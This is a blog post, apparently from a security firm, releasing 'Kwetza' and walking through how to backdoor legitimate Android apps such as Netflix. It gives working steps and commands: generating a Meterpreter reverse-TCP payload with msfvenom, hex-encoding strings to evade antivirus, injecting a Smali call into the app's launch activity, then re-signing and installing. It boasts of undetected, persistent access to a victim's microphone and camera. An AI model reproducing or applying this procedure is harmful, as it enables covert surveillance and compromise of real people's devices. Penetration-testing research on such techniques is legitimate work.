Our Blog

Kwetza: Infecting Android Applications

Reading time ~13 min

This blog post describes a method for backdooring Android executables. After describing the manual step, I will show how to do the same with a new tool, Kwetza, that I’m releasing today.

Infecting Android applications provides a great way to determine the impact and affect of the malicious activities we see in the wild, from ransomware to practical jokes. This not only provides you with an entry point onto user devices, but also allows you to see how devices, users and anti-virus behave in these situations.

In this blog post, I will first describe a manual procedure to backdoor an existing Android application to highlight the steps necessary to achieve our goals using standard tools and techniques. The manual procedure discussed going forward is not revolutionary and has been covered but with differing strategies. After discussing the manual steps to backdoor an existing Android application, I will introduce and discuss how Kwetza  automates the manual process.

You can find Kwetza on our Github repo.

The Case: Infecting #legit Android Applications

Bottom line up front (BLUF): we want to infect a legit Android application (APK) with a payload which is not detected by mobile antivirus products and will allow you to remotely access a victim’s device i.e webcam, location, SMS etc etc whenever the victim executes the legit application. Of course a necessary requirement is that we want the application to behave and function as normal as to not alert the victim of any abnormal anomalies.

Step 1: Payload

This is the easy part, good ‘ol msfvenom to the rescue. So let’s generate a payload, which we know works and is in a format we can work with (an APK).

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.211 LPORT=4444 R > beard.apk

Easy peasy lemon squeezy. Now we have an Android application which will give us a meterpreter session on a victim device . How does this payload appear to AV’s on the mobile space seeing as our endgame is to avoid detection by AV? According to our analysis, beard.apk is detected by 17/41 AV vendors. Hmmmm not 100% FUD but also worrisome, this payload is not new or anything special so I would have expected 100% detection but then again, “mobile cyber” is different, I guess.

Dem
beard.apk detected by 17 AV vendors

Step 2: Squeeze

At this point, if we look at our beard.apk, it is a bit bloated and not the easiest to work with because we want a single Java class to do ALL of our heavy lifting.  First we’ll reverse beard.apk and squeeze all the functionality into a single Java class, call it, AssistActivity.java.

beard
Generated APK reverse with jadx

As shown in the figure above, beard.apk contains multiple files which are used to get your meterpreter awesomeness. However we want everything in one “bag of bits”. This will make more sense in a bit :) Note that the Main activity of the payload invokes the start method of the Payload class, which in turn makes use of the other class files. We take these other class files and refactor their functionality into the AssistActivity file.

squueze
Beard.apk components squeezed into a single file

The figure above contains some interesting HEX values, these are the ASCII HEX values for the Strings utilised by the payload,  this is handy to prevent static string analysis from being used against hard coded endpoints.

Step 3: Inspect your target

At this point we have a single file representing our payload. Next we need a target, lets chose the Android Netflix application. Grab a hold of the APK from either the PlayStore or somewhere else, if you dare. In terms of inspection, we want our payload to be executed the moment the user taps/clicks/rubs the Netflix icon. How do we achieve this? Easy, we look at the AndroidManifest.xml file which will tell us EXACTLY which Activity (i.e Java class) is executed when the application is started. To do this, search for the attribute “MAIN” and “LAUNCHER” in the manifest. This will disclose the activities and associated files used when the application is executed by the system.

moo
Two Activities identified

Oh and btw, to get this point, run this command against your Netflix APK, “apktool d Netflix.apk”.

Step 4: Damn you Inheritance

Okay so we have two files that have been marked for execution:

com.netflix.mediaclient.ui.launch.UIWebViewActivity
com.netflix.mediaclient.ui.launch.UIWebViewTabletActivity

But that’s fine, upon further analysis of the code, we see that these two classes inherit from a single class which in turn executes all the startup code etc.

 

more
Analysis of one of the child classes

From the figure above, we can see that the two identified entry points both inherit from “com.netflix.mediaclient.ui.launch.LaunchActivity“. This means that when Netflix is executed, this activity is eventually executed, so this is our injection point, the class which we are going to tell to execute our payload.

Step 5:  Cosmetics

At this point we know where we want to inject our malicious code. We now are going to be making use of Smali. Our payload is now represented by two Smali files, AssistActivity.smali and AssistActivity$1.class which were generated when we decompiled beard.apk with Apktool. We are going to place these two files in the directory of our victim class which is located at “com/netflix/mediaclient.ui/launch”.

moo
AssistActivity placed in target folder

Groovy, so now we need to update certain references such as package references and object references which make use of the namespace of the application, basically that means that all references to AssistActivity have to be in the form:

Lcom/netflix/mediaclient/ui/launch/AssistActivity

and NOT

Lsensepost/kwetza/AssistActivity

 

moo
Modified AssistAcivity with new references

We need to make sure that we make this change to both of our AssistActivity Smali files.

Step 6: Inject

At this point we now have our two Smali files in the target directory and we now need to configure the target Activity(Netflix) to call our code. We will now modify “com.netflix.mediaclient.ui.launch.LaunchActivity” to call AssistActivity which in Java looks like:

AssistActivity.doThis(this);

In Smali it looks like this:

invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V

Before going any further, we have to find a place in the target activity to inject our code.

To do this, we need to analyze LaunchActivity and look for the method “onCreate” which does exactly what it says. Whatever code is in this method will be executed when the associated object is instantiated, this case, LaunchActivity.

moo
LaunchActivity Java source code

From the figure above, we can see that the onCreate method exists in LaunchActivity and if we look at the line numbers, we can see that there is no code between line 145 and 147. To verify, we open up the same file but look at its Smali counterpart, LaunchActivity.smali.

moo
Our single line of code injected into line 146

The figure above shows what LaunchActivity.smali will look like after we inject this piece of code:

.line 146
 invoke-static {p0}, Lcom/netflix/mediaclient/ui/launch/AssistActivity;->doThis(Landroid/content/Context;)V

Awesome. So now we have injected a single line of code into LaunchActivity.smali, onCreate method which will see our payload (AssistActivity) as being executed whenever the Netflix app is run.

Step 7: Prettify

At this point we are done and all we need to do now is rebuild, sign and install our modified version of Netflix.

Build our new apk:

apktool b netflixDir

Generate a keystore with cert to sign:

keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Sign the new apk:

jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1

Install the new apk:

adb install Netflix.apk

Soooooooooo what??

So we have a Netflix APK that will allow us to get a meterpreter shell on a Android device, lets see how this payload fairs against Antivirus.

moo
Clean bill of health

Our analysis shows us that our infected Netflix APK is not detected by antivirus. Lets see what happens when we tap/click/rub the Netflix icon.

meter
Meterpreter session established

Okay so we can get meterpreter but what can we do with it? Lets try access the device’s camera and microphone using the vanilla permissions that are from the Netflix application (note here that we have not added or removed permissions from the Netflix app, merely injected our malicious code).  What happens at this point is that you won’t be able to stream the devices camera as the AndroidManifest.xml does not request this permission BUT what permissions does the Netflix app ask for?

moo
Netflix app permissions

Notice something interesting in the figure above? Of course you do because you are a ninja and yes, the Netflix app asks for permission to access the device’s microphone.

<uses-permission android:name="android.permission.RECORD_AUDIO" />

So what does this mean? Simple, without having to add permissions to get “full” device access, the legit Netflix app asks for internet and microphone permissions so we don’t have to do anything to gain access and record the devices microphone when a victim runs our Netflix app. But how would the Netflix application look if we were to add ALL the permissions we need to get all the functionality provided by meterpreter?

moo
All the permissions added

The figure above contains the AndroidManifest which contains all the permissions required for meterpreter to do what it can.

With the Netflix application and other Android applications, the meterpreter session will persist even when the phone is locked or when the app has been put into the “background”. To kill the meterpreter session, the user has to explicitly kill the process and or restart the phone. Recent tests also show that the meterpreter session is stable even when a user logs into Netflix via the app and starts streaming some content.

 

Step 8: Automate with Kwetza

The steps discussed above require a fair amount of knowledge on reversing Android applications, and can be time consuming. To alleviate this, we introduce Kwetza which does all of the above in an automated fashion. There have been similar attempts to automate the above mentioned process. Kwetza differs to existing tools such that it provides more flexibility  in terms of permissions injected and the template representation of payloads which can be customized by the user.

You can find Kwetza on our Github.

Step 1: Infect

python kwetza.py targetApk.apk LHOST LPORT yes/no

targetApk.apk=name of the APK you wish to infect.

LHOST=IP of your listener

LPORT=Port of your listener

[yes]=include “yes” to inject additional evil perms into the app, “no” to utilize the default permissions of the app.

Step 2: Install

This step is where your creativity takes over. You now have an infected APK which contains your payload. The application will function as normal and your victim will be unaware. In the screenshot below, we infect Eset’s Android Mobile antivirus. Standard infection (no manipulation of Manifest permissions) allows you to gain access to the user’s Camera and numerous other permissions.

Yoolo
Kwetza Output for infecting Eset Antivirus

Kwetza relies on two important dependencies. Python’s BeautifulSoup and ApkTool. Both are simple to setup and the ApkTool defaults will suffice.

Step 3: Phun

Well at this point, you just need your msf multihandler setup using your specified LHOST and LPORT and set your payload to “android/meterpreter/reverse_tcp” and that’s about it.

Nex
Nexus5 has a great camera installed.

Conclusion

Infecting legitimate Android applications is a great way to understand how devices, users and antivirus will respond to these kinds of attacks and is a constant reminder of how the mobile space is a very appealing attack surface for attackers.